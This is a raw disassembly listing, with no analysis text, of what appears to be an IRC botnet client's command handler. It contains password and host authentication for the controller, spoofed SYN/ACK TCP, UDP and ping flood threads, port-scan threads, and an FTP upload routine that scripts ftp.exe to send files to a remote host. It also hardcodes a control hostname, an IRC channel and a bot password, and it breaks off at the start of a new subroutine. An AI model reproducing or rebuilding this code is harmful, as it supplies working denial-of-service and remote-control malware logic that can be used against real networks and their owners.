add esp, 0Ch and byte ptr [esi], 0 jmp short loc_40D99F ; --------------------------------------------------------------------------- loc_40D924: ; CODE XREF: sub_4089DC+4F29j push eax push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d." jmp short loc_40D990 ; --------------------------------------------------------------------------- loc_40D92C: ; CODE XREF: sub_4089DC+4F14j ; sub_4089DC+4F19j push eax push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d." jmp short loc_40D990 ; --------------------------------------------------------------------------- loc_40D934: ; CODE XREF: sub_4089DC+4F09j mov edx, [ebp+arg_18] xor edi, edi loc_40D939: ; CODE XREF: sub_4089DC+4F9Aj mov esi, [ebp+var_A8] mov eax, edx loc_40D941: ; CODE XREF: sub_4089DC+4F81j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_40D963 test cl, cl jz short loc_40D95F mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_40D963 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40D941 loc_40D95F: ; CODE XREF: sub_4089DC+4F6Fj xor eax, eax jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_4089DC+4F6Bj ; sub_4089DC+4F79j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40D968: ; CODE XREF: sub_4089DC+4F85j test eax, eax jz short loc_40D97A inc edi add edx, 80h cmp edi, 2 jl short loc_40D939 jmp short loc_40D99F ; --------------------------------------------------------------------------- loc_40D97A: ; CODE XREF: sub_4089DC+4F8Ej mov eax, [ebp+arg_18] shl edi, 7 and byte ptr [edi+eax], 0 lea eax, [ebp+var_F0] push eax push offset aMainUserSLogge ; "[MAIN]: User %s logged out." loc_40D990: ; CODE XREF: sub_4089DC+3B17j ; sub_4089DC+4F4Ej ... lea eax, [ebp+var_2F0] push eax call sub_414415 add esp, 0Ch loc_40D99F: ; CODE XREF: sub_4089DC+2DA2j ; sub_4089DC+2DC6j ... cmp [ebp+var_C], 0 jnz short loc_40D9C2 push 0 loc_40D9A7: ; CODE XREF: sub_4089DC+53C5j ; sub_4089DC+57CAj push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] loc_40D9BA: ; CODE XREF: sub_4089DC+292Cj ; sub_4089DC+2B3Cj ... call sub_4056BF add esp, 14h loc_40D9C2: ; CODE XREF: sub_4089DC+11D3j ; sub_4089DC+2916j ... xor esi, esi inc esi jmp loc_40A0E7 ; --------------------------------------------------------------------------- loc_40D9CA: ; CODE XREF: sub_4089DC+D34j ; sub_4089DC+D48j mov edi, [ebp+var_A4] push 4 mov esi, offset dword_427938 pop ecx xor edx, edx repe cmpsb jz loc_409E4B call sub_41240B loc_40D9E7: ; CODE XREF: sub_4089DC+48D0j push 0 call ds:dword_420034 ; ExitProcess loc_40D9EF: ; CODE XREF: sub_4089DC+1557j push 8 mov edi, eax mov esi, offset aHttpcon ; "httpcon" pop ecx xor edx, edx repe cmpsb jz loc_40DBA6 push 5 mov edi, eax mov esi, offset aHcon ; "hcon" pop ecx xor edx, edx repe cmpsb jz loc_40DBA6 cmp [ebp+ebx+var_94], edx jz loc_408C5A mov edi, eax push 7 mov esi, offset aUpload ; "upload" pop ecx xor eax, eax repe cmpsb jnz loc_40E4AE mov edi, [ebp+ebx+var_94] push 4 push edi call sub_402AE7 test eax, eax pop ecx pop ecx jnz short loc_40DA67 push edi push offset aFtpFileNotFoun ; "[FTP]: File not found: %s." loc_40DA53: ; CODE XREF: sub_4089DC+3C3Bj lea eax, [ebp+var_2F0] push eax call sub_414415 add esp, 0Ch jmp loc_40C040 ; --------------------------------------------------------------------------- loc_40DA67: ; CODE XREF: sub_4089DC+506Fj call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 pop ecx call sub_4145D1 push 9 cdq pop ecx idiv ecx push edx call sub_4145D1 push 63h cdq pop ecx idiv ecx push edx call sub_4145D1 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_1C70] push edx push eax lea eax, [ebp+var_16C4] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_414415 lea eax, [ebp+var_16C4] push offset aAb ; "ab" push eax call sub_414BF3 add esp, 20h test eax, eax mov [ebp+var_18], eax jz loc_408C5A mov esi, [ebp+ebx+var_A4] push edi push [ebp+arg_0] push [ebp+ebx+var_9C] push [ebp+ebx+var_A0] push esi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_415ADF push [ebp+var_18] call sub_4147F3 lea eax, [ebp+var_16C4] push eax lea eax, [ebp+var_8CC] push offset aSS_4 ; "-s:%s" push eax call sub_414415 add esp, 2Ch xor eax, eax push eax push eax lea ecx, [ebp+var_8CC] push ecx push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push eax call dword_435910 test eax, eax push esi push edi jz short loc_40DB42 push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s" jmp short loc_40DB47 ; --------------------------------------------------------------------------- loc_40DB42: ; CODE XREF: sub_4089DC+515Dj push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"... loc_40DB47: ; CODE XREF: sub_4089DC+5164j call sub_414415 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40DB72 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40DB72: ; CODE XREF: sub_4089DC+5177j lea eax, [ebp+var_2F0] push eax call sub_401EFF jmp short loc_40DB8C ; --------------------------------------------------------------------------- loc_40DB80: ; CODE XREF: sub_4089DC+51C3j lea eax, [ebp+var_16C4] push eax call sub_415AB5 loc_40DB8C: ; CODE XREF: sub_4089DC+51A2j lea eax, [ebp+var_16C4] push 4 push eax call sub_402AE7 add esp, 0Ch test eax, eax jnz short loc_40DB80 jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40DBA6: ; CODE XREF: sub_4089DC+5021j ; sub_4089DC+5035j push [ebp+ebx+var_94] push [ebp+arg_0] push [ebp+ebx+var_9C] push [ebp+ebx+var_A0] call sub_4147A2 pop ecx push eax push [ebp+ebx+var_A4] push [ebp+var_C] push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_404999 jmp loc_40E4AB ; --------------------------------------------------------------------------- loc_40DBE5: ; CODE XREF: sub_4089DC+152Fj ; sub_4089DC+1543j push [ebp+ebx+var_A4] lea eax, [ebp+var_1134] push 80h push eax call sub_41466D add esp, 0Ch push 4 lea edi, [ebp+var_1134] mov esi, offset aSyn ; "syn" pop ecx xor eax, eax repe cmpsb jz short loc_40DC46 push 4 lea edi, [ebp+var_1134] mov esi, offset aAck ; "ack" pop ecx xor eax, eax repe cmpsb jz short loc_40DC46 push 7 lea edi, [ebp+var_1134] mov esi, offset aRandom_0 ; "random" pop ecx xor eax, eax repe cmpsb jz short loc_40DC46 push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified." jmp loc_40DD87 ; --------------------------------------------------------------------------- loc_40DC46: ; CODE XREF: sub_4089DC+5236j ; sub_4089DC+524Aj ... push [ebp+arg_0] call sub_4147A2 test eax, eax pop ecx mov [ebp+var_102C], eax jle loc_40DD82 mov eax, [ebp+ebx+var_A4] push eax mov [ebp+var_8], eax mov esi, 80h lea eax, [ebp+var_1134] push esi push eax call sub_41466D mov edi, [ebp+ebx+var_A0] push edi lea eax, [ebp+var_11B4] push esi push eax call sub_41466D mov ebx, [ebp+ebx+var_9C] push ebx call sub_4147A2 push [ebp+var_A0] mov [ebp+var_1030], eax xor eax, eax cmp [ebp+var_44A], al push esi setnz al mov [ebp+var_1028], eax mov eax, [ebp+arg_4] mov [ebp+var_11B8], eax lea eax, [ebp+var_10B4] push eax call sub_41466D mov eax, [ebp+var_4] mov [ebp+var_1024], eax mov eax, [ebp+var_C] add esp, 28h cmp [ebp+var_1028], 0 mov [ebp+var_1020], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40DCF7 mov eax, offset aNormal ; "Normal" loc_40DCF7: ; CODE XREF: sub_4089DC+5314j push [ebp+arg_0] push ebx push edi push [ebp+var_8] push eax push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"... lea eax, [ebp+var_2F0] push 200h push eax call sub_41466D xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Dh push eax call sub_41229A add esp, 2Ch mov [ebp+var_1034], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_11B8] push eax push offset sub_4119EF push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_1034] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40DD78 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"... jmp loc_40E438 ; --------------------------------------------------------------------------- loc_40DD70: ; CODE XREF: sub_4089DC+53A2j push 32h call ds:dword_420000 ; Sleep loc_40DD78: ; CODE XREF: sub_4089DC+5381j cmp [ebp+var_101C], esi jz short loc_40DD70 jmp short loc_40DD97 ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_4089DC+527Bj push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"... loc_40DD87: ; CODE XREF: sub_4089DC+5265j lea eax, [ebp+var_2F0] push eax call sub_414415 pop ecx pop ecx loc_40DD95: ; CODE XREF: sub_4089DC+54FFj xor esi, esi loc_40DD97: ; CODE XREF: sub_4089DC+409Fj ; sub_4089DC+53A4j ... cmp [ebp+var_C], esi jnz loc_40D9C2 push esi jmp loc_40D9A7 ; --------------------------------------------------------------------------- loc_40DDA6: ; CODE XREF: sub_4089DC+14F3j ; sub_4089DC+1507j ... cmp dword_435988, 0 jnz loc_40DEC2 mov eax, [ebp+var_C] mov [ebp+var_694], eax mov eax, [ebp+var_4] push 7Fh push [ebp+ebx+var_A4] mov [ebp+var_698], eax lea eax, [ebp+var_72C] push eax call sub_4144A0 push [ebp+ebx+var_A0] call sub_4147A2 push [ebp+ebx+var_9C] mov [ebp+var_6AC], eax call sub_4147A2 push [ebp+arg_0] mov [ebp+var_6A8], eax call sub_4147A2 push 7Fh push [ebp+var_A0] mov [ebp+var_6A4], eax lea eax, [ebp+var_7AC] push eax call sub_4144A0 push [ebp+var_6A4] mov eax, [ebp+arg_4] push [ebp+var_6A8] mov [ebp+var_7B0], eax lea eax, [ebp+var_72C] push eax push [ebp+var_6AC] lea eax, [ebp+var_2F0] push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "... push eax call sub_414415 xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Fh push eax call sub_41229A add esp, 48h mov [ebp+var_69C], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_7B0] push eax push offset sub_407DBB push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_69C] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40DEB5 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"... jmp loc_40E438 ; --------------------------------------------------------------------------- loc_40DEAD: ; CODE XREF: sub_4089DC+54DFj push 32h call ds:dword_420000 ; Sleep loc_40DEB5: ; CODE XREF: sub_4089DC+54BEj cmp [ebp+var_690], esi jz short loc_40DEAD jmp loc_40DD97 ; --------------------------------------------------------------------------- loc_40DEC2: ; CODE XREF: sub_4089DC+53D1j push 1FFh lea eax, [ebp+var_2F0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_4144A0 add esp, 0Ch jmp loc_40DD95 ; --------------------------------------------------------------------------- loc_40DEE0: ; CODE XREF: sub_4089DC+14B7j ; sub_4089DC+14CBj ... mov eax, [ebp+var_C] mov edi, [ebp+var_4] push 7Fh push [ebp+ebx+var_A4] mov [ebp+var_694], eax lea eax, [ebp+var_72C] push eax mov [ebp+var_698], edi call sub_4144A0 push [ebp+ebx+var_A0] call sub_4147A2 push [ebp+ebx+var_9C] mov [ebp+var_6AC], eax call sub_4147A2 push [ebp+arg_0] mov [ebp+var_6A8], eax call sub_4147A2 mov ebx, [ebp+ebx+var_94] xor esi, esi add esp, 18h cmp ebx, esi mov [ebp+var_6A4], eax jz short loc_40DF58 push ebx call sub_4147A2 pop ecx mov [ebp+var_6A0], eax jmp short loc_40DF5E ; --------------------------------------------------------------------------- loc_40DF58: ; CODE XREF: sub_4089DC+556Bj mov [ebp+var_6A0], esi loc_40DF5E: ; CODE XREF: sub_4089DC+557Aj push 7Fh push [ebp+var_A0] lea eax, [ebp+var_7AC] push eax call sub_4144A0 push [ebp+var_6A4] mov ebx, [ebp+arg_4] push [ebp+var_6A8] lea eax, [ebp+var_72C] push eax push [ebp+var_6AC] lea eax, [ebp+var_2F0] push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"... push eax mov [ebp+var_7B0], ebx call sub_414415 push esi lea eax, [ebp+var_2F0] push 10h push eax call sub_41229A add esp, 30h mov [ebp+var_69C], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_7B0] push eax push offset sub_407F44 push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_69C] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40E01F call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"... push eax call sub_414415 add esp, 0Ch loc_40E007: ; CODE XREF: sub_4089DC+564Bj cmp [ebp+var_C], esi jnz loc_40D9C2 push esi push edi jmp loc_40B73C ; --------------------------------------------------------------------------- loc_40E017: ; CODE XREF: sub_4089DC+5649j push 32h call ds:dword_420000 ; Sleep loc_40E01F: ; CODE XREF: sub_4089DC+560Ej cmp [ebp+var_690], esi jz short loc_40E017 jmp short loc_40E007 ; --------------------------------------------------------------------------- loc_40E029: ; CODE XREF: sub_4089DC+148Fj ; sub_4089DC+14A3j push 9 call sub_41248A mov esi, [ebp+ebx+var_A0] push esi mov edi, eax call sub_4147A2 add eax, edi cmp eax, 258h pop ecx pop ecx jle short loc_40E07B push edi lea eax, [ebp+var_2F0] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_414415 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF jmp loc_40BFF9 ; --------------------------------------------------------------------------- loc_40E07B: ; CODE XREF: sub_4089DC+566Cj push [ebp+ebx+var_A4] call sub_4147A2 push esi mov [ebp+var_4F4], eax call sub_4147A2 push [ebp+ebx+var_9C] mov [ebp+var_4DC], eax call sub_4147A2 add esp, 0Ch cmp eax, 5 mov [ebp+var_4F0], eax jnb short loc_40E0BC push 5 pop eax mov [ebp+var_4F0], eax loc_40E0BC: ; CODE XREF: sub_4089DC+56D5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40E0C9 mov [ebp+var_4F0], ecx loc_40E0C9: ; CODE XREF: sub_4089DC+56E5j push [ebp+arg_0] call sub_4147A2 mov [ebp+var_4EC], eax mov eax, 320h cmp [ebp+var_4EC], eax pop ecx jbe short loc_40E0EB mov [ebp+var_4EC], eax loc_40E0EB: ; CODE XREF: sub_4089DC+5707j push [ebp+arg_4] or [ebp+var_4D8], 0FFFFFFFFh call sub_407D15 pop ecx lea edx, [ebp+var_67C] loc_40E101: ; CODE XREF: sub_4089DC+572Dj mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_40E101 xor edi, edi cmp dword_42B068, edi mov [ebp+var_5FC], edi mov [ebp+var_10], edi jz short loc_40E181 mov ecx, offset dword_42B068 loc_40E123: ; CODE XREF: sub_4089DC+5785j mov edi, [ebp+ebx+var_A4] lea esi, [ecx-28h] loc_40E12D: ; CODE XREF: sub_4089DC+576Dj mov dl, [esi] mov al, dl cmp dl, [edi] jnz short loc_40E14F test al, al jz short loc_40E14B mov dl, [esi+1] mov al, dl cmp dl, [edi+1] jnz short loc_40E14F inc esi inc esi inc edi inc edi test al, al jnz short loc_40E12D loc_40E14B: ; CODE XREF: sub_4089DC+575Bj xor eax, eax jmp short loc_40E154 ; --------------------------------------------------------------------------- loc_40E14F: ; CODE XREF: sub_4089DC+5757j ; sub_4089DC+5765j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40E154: ; CODE XREF: sub_4089DC+5771j test eax, eax jz short loc_40E165 inc [ebp+var_10] add ecx, 3Ch cmp dword ptr [ecx], 0 jnz short loc_40E123 jmp short loc_40E17F ; --------------------------------------------------------------------------- loc_40E165: ; CODE XREF: sub_4089DC+577Aj mov eax, [ebp+var_10] mov ecx, eax imul ecx, 3Ch mov ecx, dword_42B068[ecx] mov [ebp+var_4F4], ecx mov [ebp+var_4D8], eax loc_40E17F: ; CODE XREF: sub_4089DC+5787j xor edi, edi loc_40E181: ; CODE XREF: sub_4089DC+5740j cmp [ebp+var_4F4], edi jnz short loc_40E1AB push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, port is i"... loc_40E18E: ; CODE XREF: sub_4089DC+5883j lea eax, [ebp+var_2F0] push eax call sub_414415 loc_40E19A: ; CODE XREF: sub_4089DC+416Bj pop ecx pop ecx loc_40E19C: ; CODE XREF: sub_4089DC+4289j ; sub_4089DC+429Ej cmp [ebp+var_C], edi jnz loc_40D9C2 push edi jmp loc_40D9A7 ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_4089DC+57ABj mov esi, [ebp+ebx+var_94] cmp esi, edi mov [ebp+var_18], esi jz short loc_40E1E9 cmp byte ptr [esi], 23h jz short loc_40E1E9 push esi lea eax, [ebp+var_68C] push 10h push eax call sub_41466D push 78h push esi call sub_4158C0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_4C8], eax jmp loc_40E319 ; --------------------------------------------------------------------------- loc_40E1E9: ; CODE XREF: sub_4089DC+57DBj ; sub_4089DC+57E0j cmp [ebp+var_442], 0 jz short loc_40E213 push 7Fh lea eax, [ebp+var_67C] push offset aParadise2005_h ; "paradise2005.homeftp.net" push eax call sub_4144A0 mov eax, dword_42BFDC add esp, 0Ch mov [ebp+var_5FC], eax loc_40E213: ; CODE XREF: sub_4089DC+5814j cmp [ebp+var_44B], 0 jz short loc_40E23F push edi push 9 push offset aStoppingPrevio ; "Stopping previous scans" push offset aScan_0 ; "[SCAN]" push 1 push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_4124D0 add esp, 20h loc_40E23F: ; CODE XREF: sub_4089DC+583Ej cmp [ebp+var_45B], 0 jnz short loc_40E264 cmp [ebp+var_45A], 0 jnz short loc_40E264 cmp [ebp+var_44A], 0 jnz short loc_40E264 push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan, no IP spe"... jmp loc_40E18E ; --------------------------------------------------------------------------- loc_40E264: ; CODE XREF: sub_4089DC+586Aj ; sub_4089DC+5873j ... push 10h pop esi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_D8] push eax push [ebp+arg_4] mov [ebp+var_28], esi call dword_435780 ; getsockname mov al, [ebp+var_45B] neg al push esi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_68C] push eax call sub_4144A0 add esp, 0Ch cmp [ebp+var_44A], 0 jz short loc_40E313 xor eax, eax cmp [ebp+var_45B], al push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_68C] push eax call sub_414470 and byte ptr [ebp+arg_0+3], 0 cmp esi, edi pop ecx pop ecx jle short loc_40E307 loc_40E2E5: ; CODE XREF: sub_4089DC+5929j cmp eax, edi jz short loc_40E307 mov byte ptr [eax], 78h lea eax, [ebp+var_68C] push 30h push eax call sub_414470 inc byte ptr [ebp+arg_0+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_0+3] cmp ecx, esi jl short loc_40E2E5 loc_40E307: ; CODE XREF: sub_4089DC+5907j ; sub_4089DC+590Bj mov [ebp+var_4C8], 1 jmp short loc_40E319 ; --------------------------------------------------------------------------- loc_40E313: ; CODE XREF: sub_4089DC+58E0j mov [ebp+var_4C8], edi loc_40E319: ; CODE XREF: sub_4089DC+5808j ; sub_4089DC+5935j mov eax, [ebp+arg_4] push [ebp+var_A0] mov [ebp+var_4F8], eax mov eax, [ebp+var_4] mov [ebp+var_4D0], eax mov eax, [ebp+var_C] mov [ebp+var_4CC], eax mov esi, 80h lea eax, [ebp+var_5F8] push esi push eax call sub_41466D mov ebx, [ebp+ebx+var_90] add esp, 0Ch cmp ebx, edi jz short loc_40E36D push ebx loc_40E35B: ; CODE XREF: sub_4089DC+599Ej push esi loc_40E35C: ; CODE XREF: sub_4089DC+59BBj lea eax, [ebp+var_578] push eax call sub_41466D add esp, 0Ch jmp short loc_40E3A0 ; --------------------------------------------------------------------------- loc_40E36D: ; CODE XREF: sub_4089DC+597Cj mov eax, [ebp+var_18] cmp eax, edi jz short loc_40E37C cmp byte ptr [eax], 23h jnz short loc_40E37C push eax jmp short loc_40E35B ; --------------------------------------------------------------------------- loc_40E37C: ; CODE XREF: sub_4089DC+5996j ; sub_4089DC+599Bj xor ecx, ecx mov eax, offset aMurders ; "#murders" inc ecx mov edi, 420AEAh mov esi, eax xor edx, edx repe cmpsb jz short loc_40E399 push eax push 80h jmp short loc_40E35C ; --------------------------------------------------------------------------- loc_40E399: ; CODE XREF: sub_4089DC+59B3j and [ebp+var_578], 0 loc_40E3A0: ; CODE XREF: sub_4089DC+598Fj xor esi, esi cmp [ebp+var_4C8], esi mov eax, offset aRandom ; "Random" jnz short loc_40E3B4 mov eax, offset aSequential ; "Sequential" loc_40E3B4: ; CODE XREF: sub_4089DC+59D1j push [ebp+var_4DC] lea ecx, [ebp+var_68C] push [ebp+var_4EC] push [ebp+var_4F0] push [ebp+var_4F4] push ecx push eax lea eax, [ebp+var_2F0] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_414415 push esi lea eax, [ebp+var_2F0] push 9 push eax call sub_41229A add esp, 2Ch mov [ebp+var_4E8], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_68C] push eax push offset sub_401B9D push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_4E8] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40E454 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... loc_40E438: ; CODE XREF: sub_4089DC+538Fj ; sub_4089DC+54CCj lea eax, [ebp+var_2F0] push eax call sub_414415 add esp, 0Ch jmp loc_40DD97 ; --------------------------------------------------------------------------- loc_40E44C: ; CODE XREF: sub_4089DC+5A7Ej push 32h call ds:dword_420000 ; Sleep loc_40E454: ; CODE XREF: sub_4089DC+5A4Ej cmp [ebp+var_4C4], esi jz short loc_40E44C jmp loc_40DD97 ; --------------------------------------------------------------------------- loc_40E461: ; CODE XREF: sub_4089DC+D0Cj ; sub_4089DC+D20j push [ebp+ebx+var_A4] xor eax, eax cmp [ebp+var_44C], al setnz al push eax push dword_42BED8 lea eax, [ebp+var_3BC] push eax call sub_40FC7C lea eax, [ebp+var_3BC] push eax push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_405674 lea eax, [ebp+var_3BC] push eax push offset aMainRandomNick ; "[MAIN]: Random nick change: %s" call sub_401F73 loc_40E4AB: ; CODE XREF: sub_4089DC+5204j add esp, 24h loc_40E4AE: ; CODE XREF: sub_4089DC+738j ; sub_4089DC+744j ... mov eax, [ebp+arg_24] jmp loc_408C5D ; --------------------------------------------------------------------------- loc_40E4B6: ; CODE XREF: sub_4089DC+7C2j ; sub_4089DC+7D6j mov ebx, [ebp+ebx+var_A4] test ebx, ebx mov [ebp+var_8], ebx jz loc_408C5A cmp [ebp+var_18], 0 jnz loc_408C5A push offset asc_427A0C ; "!" push [ebp+var_A8] call sub_415289 mov esi, eax push offset dword_425BC0 push 0 inc esi call sub_415289 push offset asc_425BBC ; "~" push eax call sub_415289 mov edi, [ebp+var_8] mov ebx, eax add esp, 18h mov eax, offset aN3m3s1s ; "n3m3s1s" loc_40E509: ; CODE XREF: sub_4089DC+5B49j mov dl, [eax] mov cl, dl cmp dl, [edi] jnz short loc_40E52B test cl, cl jz short loc_40E527 mov dl, [eax+1] mov cl, dl cmp dl, [edi+1] jnz short loc_40E52B inc eax inc eax inc edi inc edi test cl, cl jnz short loc_40E509 loc_40E527: ; CODE XREF: sub_4089DC+5B37j xor eax, eax jmp short loc_40E530 ; --------------------------------------------------------------------------- loc_40E52B: ; CODE XREF: sub_4089DC+5B33j ; sub_4089DC+5B41j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40E530: ; CODE XREF: sub_4089DC+5B4Dj test eax, eax jz short loc_40E57F push ebx lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_F0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_405674 lea eax, [ebp+var_F0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_405674 push ebx push esi push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)." loc_40E56B: ; CODE XREF: sub_4089DC+5BF6j lea eax, [ebp+var_2F0] push eax call sub_414415 add esp, 30h jmp loc_40D9C2 ; --------------------------------------------------------------------------- loc_40E57F: ; CODE XREF: sub_4089DC+5B56j xor edi, edi loc_40E581: ; CODE XREF: sub_4089DC+5BBDj push ebx push off_42BFB8[edi] call sub_412998 test eax, eax pop ecx pop ecx jnz short loc_40E5D4 add edi, 4 cmp edi, 4 jb short loc_40E581 push ebx lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_F0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_405674 lea eax, [ebp+var_F0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_405674 push ebx push esi push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)." jmp short loc_40E56B ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_4089DC+5BB5j mov edx, [ebp+arg_18] xor eax, eax loc_40E5D9: ; CODE XREF: sub_4089DC+5C3Fj cmp byte ptr [edx], 0 jnz short loc_40E611 mov edi, [ebp+var_8] mov esi, offset aN3m3s1s ; "n3m3s1s" loc_40E5E6: ; CODE XREF: sub_4089DC+5C26j mov bl, [esi] mov cl, bl cmp bl, [edi] jnz short loc_40E608 test cl, cl jz short loc_40E604 mov bl, [esi+1] mov cl, bl cmp bl, [edi+1] jnz short loc_40E608 inc esi inc esi inc edi inc edi test cl, cl jnz short loc_40E5E6 loc_40E604: ; CODE XREF: sub_4089DC+5C14j xor ecx, ecx jmp short loc_40E60D ; --------------------------------------------------------------------------- loc_40E608: ; CODE XREF: sub_4089DC+5C10j ; sub_4089DC+5C1Ej sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_40E60D: ; CODE XREF: sub_4089DC+5C2Aj test ecx, ecx jz short loc_40E622 loc_40E611: ; CODE XREF: sub_4089DC+5C00j inc eax add edx, 80h cmp eax, 2 jl short loc_40E5D9 jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40E622: ; CODE XREF: sub_4089DC+5C33j shl eax, 7 add eax, [ebp+arg_18] push 7Fh lea ecx, [ebp+var_960] push ecx push eax call sub_4144A0 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40E65B push 0 push [ebp+var_4] push offset aMainPasswordAc ; "[MAIN]: Password accepted." push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40E65B: ; CODE XREF: sub_4089DC+5C62j lea eax, [ebp+var_F0] push eax push offset aMainUserSLog_1 ; "[MAIN]: User: %s logged in." loc_40E667: ; CODE XREF: sub_4089DC+6F5j ; sub_4089DC+4A31j ... call sub_401F73 pop ecx loc_40E66D: ; CODE XREF: sub_4089DC+3693j pop ecx jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40E673: ; CODE XREF: sub_4089DC+1FAj ; sub_4089DC+20Dj push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_405674 push offset aIx ; "+ix" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_405674 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_405674 xor eax, eax add esp, 2Ch inc eax mov dword_47BF24, eax jmp loc_408C5D sub_4089DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6BB proc near ; CODE XREF: .text:00416295p var_98C = byte ptr -98Ch var_888 = byte ptr -888h var_887 = byte ptr -887h var_6F8 = byte ptr -6F8h var_5F8 = byte ptr -5F8h var_4F8 = byte ptr -4F8h var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_1EC = byte ptr -1ECh var_E8 = byte ptr -0E8h var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_3C = dword ptr -3Ch var_38 = word ptr -38h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_10], ebx mov [ebp+var_C], ebx 